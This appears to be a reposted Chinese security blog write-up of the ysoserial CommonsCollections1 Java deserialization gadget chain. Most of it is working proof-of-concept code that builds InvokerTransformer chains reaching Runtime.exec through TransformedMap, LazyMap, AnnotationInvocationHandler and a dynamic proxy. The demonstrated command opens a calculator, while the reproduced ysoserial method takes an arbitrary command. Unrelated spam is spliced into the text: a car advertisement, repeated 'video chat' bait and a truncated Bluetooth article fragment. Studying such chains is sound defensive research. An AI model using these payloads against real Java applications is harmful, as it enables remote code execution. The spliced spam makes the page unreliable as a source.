ysoserial分析之CommonsCollections1

Mark wiens

发布时间:2020-04-06

让年轻人轻松拿下"潮跑新品类",全新MG5在11月18日上市后即热销,订单已突破万台,市场关注度持续升高,还获得代言人杨超越和粉丝们的极大支持,全面卷起"超越"风暴。乘势加码,全新MG5再一次超美女视频聊天

ysoserial分析之CommonsCollections1美女视频聊天

原标题:ysoserial分析之CommonsCollections1

timg?image&quality=80&size=b9999_10000&sec=1586903343746&di=a7adaa6a7f6f8515f0b78ab3218292d6&imgtype=0&src=http%3A%2F%2Ftu.ossfiles.cn%3A9186%2Fgroup2%2FM00%2F4C%2FA3%2FrBgICV13a4uARUYoAADj8PBwrMw837.jpg

No.1 声明

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章作者不为此承担任何责任。

雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

No.2 CommonsCollections1 漏洞利用

Apache Commons Collections是一个扩展了Java标准库里的Collection结构的第三方基础库,它提供了很多强有力的数据结构类型并且实现了各种集合工具类。作为Apache开源项目的重要组件,Commons Collections被广泛应用于各种Java应用的开发。

它是一个基础数据结构包,同时封装了很多功能,其中我们需要关注一个功能:

  • Transforming decorators that alter each object as it is added to the collection
  • 转化装饰器:修改每一个添加到collection中的object

Commons Collections实现了一个TransformedMap类,该类是对Java标准数据结构Map接口的一个扩展。该类可以在一个元素被加入到集合内时,自动对该元素进行特定的修饰变换,具体的变换逻辑由Transformer类定义,Transformer在TransformedMap实例化时作为参数传入。

org.apache.commons.collections.Transformer这个类可以满足固定的类型转化需求,其转化函数可以自定义实现,我们的漏洞触发函数就是在于这个点。

这里需要着重说下Transformer和他相关的类

这里先贴一段代码

package ysoserial.ceshi;

import org.apache.commons.collections.Transformer;

import org.apache.commons.collections.functors.ChainedTransformer;

import org.apache.commons.collections.functors.ConstantTransformer;

import org.apache.commons.collections.functors.InvokerTransformer;

import java.lang.Runtime;

public class transformer {

public static void main(String[] args)

{

Transformer[] transformers = new Transformer[]{

new ConstantTransformer(Runtime.class),

new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},new Object[]{"getRuntime", new Class[0]}),

new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},new Object[]{null, new Object[0]}),

new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator",}),

};

Transformer transformerChain = new ChainedTransformer(transformers);

transformerChain.transform(null);

}

}

首先先构建了一个Transformer数组,Transformer是一个接口,他定义的数组都是继承这个接口的类,进入这个数组,进入第一个元素。

 

ConstantTransformer类在实例化时,会将传入的对象赋值给iConstant,然后在实现Transformer的接口方法中,会返回这个类,之后进入InvokerTransformer类。

 

目前需要关注的是methodName这个参数,这里iMethodName是getMethod,在transform接口方法中,实现的是反射操作,假设input是runtime对象,那返回的就是反射调用的Java.lang.Runtime中的getRuntime()方法。

这里引出一个新的问题,反射如何调用exec执行命令?

package ysoserial.ceshi;import java.lang.reflect.Method;public class fanshe { public static void main(String[] args) throws Exception {

Class run = Class.forName("java.lang.Runtime");

Method getrun = run.getMethod("getRuntime");

Method exec = run.getMethod("exec",String.class);

exec.invoke(getrun.invoke(run),"/System/Applications/Calculator.app/Contents/MacOS/Calculator");

}

}

反射调用需要获取类的名字,一般用Class.fotname获取,之后从这个类中使用getMethod获取需要调用的方法,最后用invoke方法调用这个方法,这里以Runtime类为例子,首先获取Runtime类的类名,然后获取getRuntime静态方法,因为Runtime类的构造函数是私有方法,只能用getRuntime方法获取类的实例,之后获取Runtime的exec方法,这个方法是执行命令的方法,也需要获取,exec不是静态方法,在invoke方法中需要传入object,所以,需要先调用getrun生成Runtime的对象,getRuntime方法是静态方法,他在调用invoke需要传入的是类名,反射调用时,满足以上条件后就能弹出计算器。

回到Transformer数组中,假设,继承transformers接口的对象,他们的transform方法返回的值能从上到下传递,那第一个ConstantTransformer类返回的是Runtime类,之后进入new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},new Object[]{"getRuntime", new Class[0]})。

在InvokerTransformer中,明明就有getMetod,这里为啥要传入getMethod呢,因为在InvokerTransformer,需要传入2个参数,但是Runtime是无参数的,所以,需要变动一下。ps:那如果不用Runtime呢,使用ProcessBuilder行不行呢

最后介绍一下ChainedTransformer类

 

没啥好说的,就是一个完美的工具类,调试一遍transform方法,看下利用链是如何触发的。

 

第一次进入循环,返回的是java.lang.Runtime.class对象。

 

第二次进入循环,getClass方法返回一个Class对象,之后用getMethod方法调用Class对象的getMethod方法,有点绕口,这里可以看成是反射调用反射,因为getMethod方法需要2个参数所以需要传入new Class[]{} ,最后返回getMethod.invoke(java.lang.Runtime,"getRuntime"),getMethod返回的方法,这里相当于返回java.lang.Runtime.getRuntime,接下来是调用这个方法。

 

第三次进入循环,因为input是一个方法,getClass方法返回的是一个Method对象,之后获取Method对象的invoke方法,这个invoke方法也是需要2个参数,也需要传入new Class{},最后相当于是invoke.invoke(java.lang.Runtime.getRuntime,null),返回了一个Runtime对象。

 

第四次进入循环,input是一个Runtime对象,回到最初的反射调用,命令执行成功,这里可能会有同学要问了:

为啥不这样执行呢?

 

因为Java.lang.Runtime这个对象不能被反序列化,所以不能这么执行。

核心的利用链明白了,还需要明白如何被调用的

package ysoserial.ceshi;

import java.util.HashMap;

import java.util.Map;

import org.apache.commons.collections.Transformer;

import org.apache.commons.collections.functors.ChainedTransformer;

import org.apache.commons.collections.functors.ConstantTransformer;

import org.apache.commons.collections.functors.InvokerTransformer;

import org.apache.commons.collections.map.TransformedMap;

public class commonsCollectionsCeshi1 {

public static void main(String[] args) throws Exception {

//此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码

Transformer[] transformers = new Transformer[] {

new ConstantTransformer(Runtime.class),

new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),

new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),

new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})

};

//将transformers数组存入ChaniedTransformer这个继承类

Transformer transformerChain = new ChainedTransformer(transformers);

//创建Map并绑定transformerChina

Map innerMap = new HashMap();

innerMap.put("value", "value");

//给予map数据转化链

Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

//触发漏洞

Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();

//outerMap后一串东西,其实就是获取这个map的第一个键值对(value,value);然后转化成Map.Entry形式,这是map的键值对数据格式

onlyElement.setValue("foobar");

}

}

这里需要了解TransformedMap类

 

decorate方法是返回一个TransformedMap对象,其中valueTransformer是我们传入的Transformer数组,在TransformedMap类里还有一个很重要的函数

 

在setValue的时候就会触发这个函数,进入我们之前的利用链,map选择hashmap,因为他继承了反序列化接口,现在还需要一个readobject里面会调用setValue的入口来调用pop链,在jdk 7,这个入口就是sun.reflect.annotation.AnnotationInvocationHandler。

package ysoserial.ceshi;

import java.io.FileInputStream;

import java.io.FileOutputStream;

import java.io.ObjectInputStream;

import java.io.ObjectOutputStream;

import java.lang.annotation.Annotation;

import java.util.HashMap;

import java.util.Map;

import org.apache.commons.collections.Transformer;

import org.apache.commons.collections.functors.ChainedTransformer;

import org.apache.commons.collections.functors.ConstantTransformer;

import org.apache.commons.collections.functors.InvokerTransformer;

import org.apache.commons.collections.map.TransformedMap;

//import sun.reflect.annotation.AnnotationInvocationHandler;

import sun.reflect.annotation.AnnotationParser;

import java.lang.annotation.Retention;

import java.lang.reflect.Constructor;

public class commonsCollectionsCeshi1 {

public static void main(String[] args) throws Exception {

//此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码

Transformer[] transformers = new Transformer[] {

new ConstantTransformer(Runtime.class),

new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),

new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),

new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})

};

//将transformers数组存入ChaniedTransformer这个继承类

Transformer transformerChain = new ChainedTransformer(transformers);

//创建Map并绑定transformerChina

Map innerMap = new HashMap();

innerMap.put("value", "value");

//给予map数据转化链

Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

//触发漏洞

Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();

//outerMap后一串东西,其实就是获取这个map的第一个键值对(value,value);然后转化成Map.Entry形式,这是map的键值对数据格式

//onlyElement.setValue("foobar");

//反射机制调用AnnotationInvocationHandler类的构造函数

Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);

//取消构造函数修饰符限制

ctor.setAccessible(true);

//获取AnnotationInvocationHandler类实例

Object instance = ctor.newInstance(Retention.class, outerMap);

FileOutputStream f = new FileOutputStream("p.cer");

ObjectOutputStream out = new ObjectOutputStream(f);

out.writeObject(instance);

FileInputStream fi = new FileInputStream("p.cer");

ObjectInputStream in = new ObjectInputStream(fi);

in.readObject();

}

}

构造函数里面有需要var1为注解类和Map,构造类的时候需要注意

 

 

this.memberValues就是我们传入的map对象,在readobject中和我们上面的pop链完全相同,完美。

明白了CommonsCollections1的pop链之后,可以分析在ysoserial中,这个gadget是怎么生成的

No.3 ysoserial是如何产生Gadget的

public InvocationHandler getObject(final String command) throws Exception {

final String[] execArgs = new String[] { command };

// inert chain for setup

Transformer transformerChain = new ChainedTransformer(

new Transformer[]{ new ConstantTransformer(1) });

// real chain for after setup

final Transformer[] transformers = new Transformer[] {

new ConstantTransformer(Runtime.class),

new InvokerTransformer("getMethod", new Class[] {

String.class, Class[].class }, new Object[] {

"getRuntime", new Class[0] }),

new InvokerTransformer("invoke", new Class[] {

Object.class, Object[].class }, new Object[] {

null, new Object[0] }),

new InvokerTransformer("exec",

new Class[] { String.class }, execArgs)

//new ConstantTransformer(1)

};

final Map innerMap = new HashMap();

final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

return handler;

}

前面和之前分析的没什么区别,关键是后面的4句代码。

final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

Reflections.setFieldValue(transformerChain, "iTransformers", transformers);

这里没有选择TransformedMap而是选择了LazyMap,LazyMap的利用链和TransformedMap的利用链不一样,——从这里开始需要重新跟了,跟进LazyMap.decorate

 

LazyMap的decorate方法设置了map和this.factory,在Lazymap中能触发Transformer链的是get方法

 

LazyMap.get可以在AnnotationInvocationHandler.invoke中被调用,这里真是奇妙,只要给LazyMap设置动态代理,LazyMap调用方法的时候就能调用invoke,而AnnotationInvocationHandler的readobject中又调用了LazyMap.entrySet方法,最后需要将map传入AnnotationInvocationHandler的构造函数中,反序列化AnnotationInvocationHandler,整条利用链就算完成了。

 

 

写一个例子,亲测能弹计算器

public static void m() throws Exception

{

Transformer[] transformers = new Transformer[] {

new ConstantTransformer(Runtime.class),

new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),

new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),

new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})

};

//将transformers数组存入ChaniedTransformer这个继承类

Transformer transformerChain = new ChainedTransformer(transformers);

final Map innerMap = new HashMap();

final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

String classToSerialize = "sun.reflect.annotation.AnnotationInvocationHandler";

final Constructor<?> constructor = Class.forName(classToSerialize).getDeclaredConstructors()[0];

constructor.setAccessible(true);

InvocationHandler secondInvocationHandler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);

final Map testMap = new HashMap();

Map evilMap = (Map) Proxy.newProxyInstance(

testMap.getClass().getClassLoader(),

testMap.getClass().getInterfaces(),

secondInvocationHandler

);

// 创建完动态代理后,如果直接调用evilMap.entrySet()就会弹出计算器

evilMap.entrySet();

}

回到ysoserial中,Gadgets.createMemoitizedProxy方法其实就是创建动态代理,返回的值就是上面的evilMap。

 

Gadgets.createMemoizedInvocationHandler方法和第一条利用链生成AnnotationInvocationHandler的实例是一样的。

 

 

最后Reflections.setFieldValue(transformerChain, "iTransformers", transformers);是修改transformChain的iTransformers的值,将它替换成Transformer利用链,网上许多文章都说之前塞的一个无用的Transformer是为了防止生成payload的过程中执行命令,不知道是不是真的,总之,我在cc1这个链子的构造过程中,没发现有什么用。

上面并没有反序列化,只是返回了一个AnnotationInvocationHandler实例,最后,在GeneratePayload.main或者PayloadRunner.run中被反序列化输出或者调用。

 

本文转载自雷神众测

美女视频聊天 原标题:安全研究院:深度解构 Bluetooth 设备地址 所有的 Bluetooth 设备地址 (BD_ADDR) 虽然都固定为 48-bit,但是它们细分下来却有 5 种。下面将分别讨论这 5 种 BD_ADDR。 BR/EDR 设备

免责声明:本站所有信息均搜集自互联网,并不代表本站观点,本站不对其真实合法性负责。如有信息侵犯了您的权益,请告知,本站将立刻处理。联系QQ:1640731186